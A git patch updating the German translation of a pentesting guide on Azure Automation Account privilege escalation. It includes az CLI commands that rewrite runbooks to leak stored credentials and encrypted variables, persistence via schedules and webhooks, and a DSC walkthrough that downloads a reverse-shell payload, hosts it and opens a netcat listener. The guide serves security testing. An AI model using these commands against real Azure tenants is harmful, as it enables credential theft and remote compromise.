From 50e7e7a28523246b8b5b8bf76c16e7bf724b830f Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 21 Jan 2026 20:58:45 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-automation-accounts-privesc.md | 104 ++++++++++-------- 1 file changed, 61 insertions(+), 43 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 510ff0f45..d1a2ea556 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,29 +12,29 @@ Für weitere Informationen siehe: ### Hybrid Workers Group -- **Vom Automatisierungskonto zur VM** +- **Vom Automation Account zur VM** -Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem hybriden Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein. +Denke daran, dass wenn ein Angreifer irgendwie einen beliebigen runbook (beliebigen Code) in einem hybrid worker ausführen kann, er **auf den Standort der VM pivotieren** wird. Das könnte eine on-premise Maschine, eine VPC einer anderen Cloud oder sogar eine Azure VM sein. -Darüber hinaus, wenn der hybride Worker in Azure mit anderen angehängten verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen. +Außerdem, wenn der hybrid worker in Azure mit weiteren Managed Identities ausgeführt wird, kann das runbook auf die **managed identity des runbooks und alle managed identities der VM vom metadata service** zugreifen. > [!TIP] -> Denke daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**). +> Denke daran, dass der **metadata service** eine andere URL (**`http://169.254.169.254`**) hat als der Service, von dem man das Token für die Managed Identities des Automation Accounts erhält (**`IDENTITY_ENDPOINT`**). -- **Von der VM zum Automatisierungskonto** +- **Von der VM zum Automation Account** -Darüber hinaus, wenn jemand eine VM kompromittiert, auf der ein Skript des Automatisierungskontos läuft, wird er in der Lage sein, die **Metadaten des Automatisierungskontos** zu lokalisieren und von der VM aus darauf zuzugreifen, um Tokens für die **verwalteten Identitäten** zu erhalten, die dem Automatisierungskonto zugeordnet sind. +Wenn außerdem jemand eine VM kompromittiert, auf der ein Automation Account-Skript läuft, kann er die **Automation Account**-Metadaten finden und von der VM aus darauf zugreifen, um Tokens für die an den Automation Account angehängten **Managed Identities** zu erhalten. -Wie im folgenden Bild zu sehen ist, ist es mit Administratorzugriff auf die VM möglich, in den **Umgebungsvariablen des Prozesses** die URL und das Geheimnis zum Zugriff auf den Metadatenservice des Automatisierungskontos zu finden: +Wie im folgenden Bild zu sehen ist, ist es bei Administratorzugang auf die VM möglich, in den **Umgebungsvariablen des Prozesses** die URL und das Secret zu finden, um auf den Automation Account metadata service zuzugreifen: ![]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Zusammenfassend ermöglichen diese Berechtigungen das **Erstellen, Ändern und Ausführen von Runbooks** im Automatisierungskonto, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Privilegien auf die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen** zu leaken, die im Automatisierungskonto gespeichert sind. +Zusammengefasst erlauben diese Berechtigungen, **Runbooks zu erstellen, zu verändern und auszuführen** im Automation Account, was du nutzen könntest, um **Code auszuführen** im Kontext des Automation Accounts, Privilegien auf die zugewiesenen **Managed Identities** zu eskalieren und **credentials** sowie **encrypted variables** im Automation Account zu leaken. -Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ermöglicht es, den Code eines Runbooks im Automatisierungskonto zu ändern mit: +Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** erlaubt es, den Code eines Runbooks im Automation Account zu modifizieren, indem man: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu leaken, die im Automation Account gespeichert ist. +Beachte, wie das vorherige Skript verwendet werden kann, um **leak den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variable** zu erhalten, die im Automation Account gespeichert sind. -Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden. +Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** erlaubt dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit: +Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** erlaubt dem Benutzer, ein Runbook im Automation Account mithilfe von: ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/output/read`** ermöglicht es dem Benutzer, die Ausgabe eines Jobs im Automatisierungskonto zu lesen mit: +Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/output/read`** erlaubt es dem Benutzer, die Ausgabe eines Jobs im Automation Account wie folgt zu lesen: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Wenn keine Runbooks erstellt wurden oder Sie ein neues erstellen möchten, benötigen Sie die **Berechtigungen `Microsoft.Resources/subscriptions/resourcegroups/read` und `Microsoft.Automation/automationAccounts/runbooks/write`**, um dies zu tun mit: +Wenn noch keine Runbooks erstellt wurden oder Sie ein neues erstellen möchten, benötigen Sie die **Berechtigungen `Microsoft.Resources/subscriptions/resourcegroups/read` und `Microsoft.Automation/automationAccounts/runbooks/write`**, um dies mit folgendem zu tun: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Diese Berechtigung ermöglicht es dem Benutzer, **eine benutzerverwaltete Identität** dem Automatisierungskonto zuzuweisen mit: +Diese Berechtigung erlaubt es dem Benutzer, **eine user managed identity dem Automation Account zuzuweisen**, mithilfe von: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Mit der Berechtigung **`Microsoft.Automation/automationAccounts/schedules/write`** ist es möglich, einen neuen Zeitplan im Automatisierungskonto zu erstellen, der alle 15 Minuten ausgeführt wird (nicht sehr stealth), indem der folgende Befehl verwendet wird. +Mit der Berechtigung **`Microsoft.Automation/automationAccounts/schedules/write`** ist es möglich, einen neuen Schedule im Automation Account zu erstellen, der alle 15 Minuten ausgeführt wird (not very stealth) und mit dem folgenden Befehl angelegt wird. -Beachten Sie, dass das **minimale Intervall für einen Zeitplan 15 Minuten** beträgt und die **minimale Startzeit 5 Minuten** in der Zukunft liegt. +Beachte, dass das **Mindestintervall für einen Schedule 15 Minuten beträgt**, und die **minimale Startzeit mindestens 5 Minuten** in der Zukunft liegen muss. ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen, indem man: +Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einem Runbook einen Scheduler zuzuweisen, indem man: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,22 +134,40 @@ az rest --method PUT \ }' ``` > [!TIP] -> Im vorherigen Beispiel wurde die Jobplan-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen. +> Im vorherigen Beispiel wurde die Job-Schedule-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuordnung zu erstellen. ### `Microsoft.Automation/automationAccounts/webhooks/write` -Mit der Berechtigung **`Microsoft.Automation/automationAccounts/webhooks/write`** ist es möglich, einen neuen Webhook für ein Runbook innerhalb eines Automation-Kontos mit dem folgenden Befehl zu erstellen. +Mit der Berechtigung **`Microsoft.Automation/automationAccounts/webhooks/write`** ist es möglich, einen neuen Webhook für ein Runbook in einem Automation Account zu erstellen, indem einer der folgenden Befehle verwendet wird. + +With Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -Dieser Befehl sollte eine Webhook-URI zurückgeben, die nur bei der Erstellung angezeigt wird. Um dann das Runbook mit der Webhook-URI aufzurufen +Mit AzureCLI und REST: +```bash +az rest --method put \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2027-12-31T23:59:59+00:00", +"runOn": "", +"runbook": { +"name": "" +} +} +}' +``` +Diese Befehle sollten eine Webhook-URI zurückgeben, die nur bei der Erstellung angezeigt wird. Um das Runbook anschließend mit der Webhook-URI aufzurufen ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, **den Code eines Runbooks zu aktualisieren**, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen. +Allein mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, den Code eines Runbooks zu **aktualisieren**, ohne ihn zu veröffentlichen, und es mit den folgenden Befehlen auszuführen. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Diese Berechtigung ermöglicht es dem Benutzer, **eine Quellsteuerung** für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel): +Diese Berechtigung erlaubt dem Benutzer, **eine Source Control für das Automation Account zu konfigurieren**, mithilfe von Befehlen wie dem folgenden (dieses Beispiel verwendet Github): ```bash az automation source-control create \ --resource-group \ @@ -190,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation-Konto importieren, und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es **möglich, Privilegien zu eskalieren**. +Dies wird automatisch die runbooks aus dem Github-Repository in das Automation Account importieren und mit einigen zusätzlichen Berechtigungen zum Ausführen wäre es **possible to escalate privileges**. -Außerdem denken Sie daran, dass für die Quellkontrolle in Automation-Konten eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden. +Außerdem: Damit source control in Automation Accounts funktioniert, muss es eine managed identity mit der Rolle **`Contributor`** haben; wenn es sich um eine user managed identity handelt, muss die client id der MI in der Variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden. > [!TIP] -> Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellkontrolle zu ändern, sobald sie erstellt wurde. +> Beachte, dass es nicht möglich ist, die Repo-URL einer source control zu ändern, nachdem sie erstellt wurde. ### `Microsoft.Automation/automationAccounts/variables/write` -Mit der Berechtigung **`Microsoft.Automation/automationAccounts/variables/write`** ist es möglich, Variablen im Automation-Konto mit dem folgenden Befehl zu schreiben. +Mit der Berechtigung **`Microsoft.Automation/automationAccounts/variables/write`** ist es möglich, Variablen im Automation Account zu schreiben, indem man folgenden Befehl verwendet. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -215,51 +233,51 @@ az rest --method PUT \ ``` ### Benutzerdefinierte Laufzeitumgebungen -Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie **einer Hintertür**) zu überschreiben. Auf diese Weise wird der schädliche Code jedes Mal ausgeführt, wenn ein Runbook, das diese benutzerdefinierte Laufzeit verwendet, ausgeführt wird und das benutzerdefinierte Paket lädt. +Wenn ein Automation Account eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie **a backdoor**) zu überschreiben. Auf diese Weise wird jedes Mal, wenn ein runbook, das diese benutzerdefinierte Laufzeit nutzt, ausgeführt wird und das benutzerdefinierte Paket lädt, der schädliche Code ausgeführt. -### Kompromittierung der Statuskonfiguration +### Kompromittierung der State Configuration -**Überprüfen Sie den vollständigen Beitrag unter:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - Schritt 1 — Dateien erstellen -**Benötigte Dateien:** Zwei PowerShell-Skripte sind erforderlich: -1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist von [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) erhältlich. -2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +**Benötigte Dateien:** Es werden zwei PowerShell-Skripte benötigt: +1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die das payload abruft und ausführt. Erhältlich auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf der VM zu veröffentlichen. Verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren. +**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Nutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Payload-Identifikatoren. - Schritt 2 — Konfigurationsdatei zippen -Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten. +Die Datei `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, sodass sie für die Übertragung in den Azure Storage Account bereit ist. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Schritt 3 — Speicher-Kontext festlegen & hochladen +- Schritt 3 — Storage-Kontext festlegen & Hochladen -Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen. +Die gezippte Konfigurationsdatei wird mit dem Azure-Cmdlet Set-AzStorageBlobContent in einen vordefinierten Azure Storage-Container (azure-pentest) hochgeladen. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Schritt 4 — Kali Box vorbereiten +- Schritt 4 — Kali-Box vorbereiten -Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter. +Der Kali-Server lädt die RevPS.ps1 payload von einem GitHub-Repository herunter. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben. +Das Skript wird bearbeitet, um die Ziel-Windows VM und den Port für die reverse shell anzugeben. - Schritt 5 — Konfigurationsdatei veröffentlichen -Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an dem angegebenen Ort auf der Windows-VM bereitgestellt wird. +Die Konfigurationsdatei wird ausgeführt, wodurch das reverse-shell-Skript an dem angegebenen Ort auf der Windows VM bereitgestellt wird. - Schritt 6 — Payload hosten und Listener einrichten -Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen mit einem Netcat-Listener, um eingehende Verbindungen zu erfassen. +Ein Python SimpleHTTPServer wird gestartet, um das payload zu hosten, zusammen mit einem Netcat listener, um eingehende Verbindungen abzufangen. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen. +Der scheduled task führt die payload aus und erlangt SYSTEM-level privileges. {{#include ../../../banners/hacktricks-training.md}}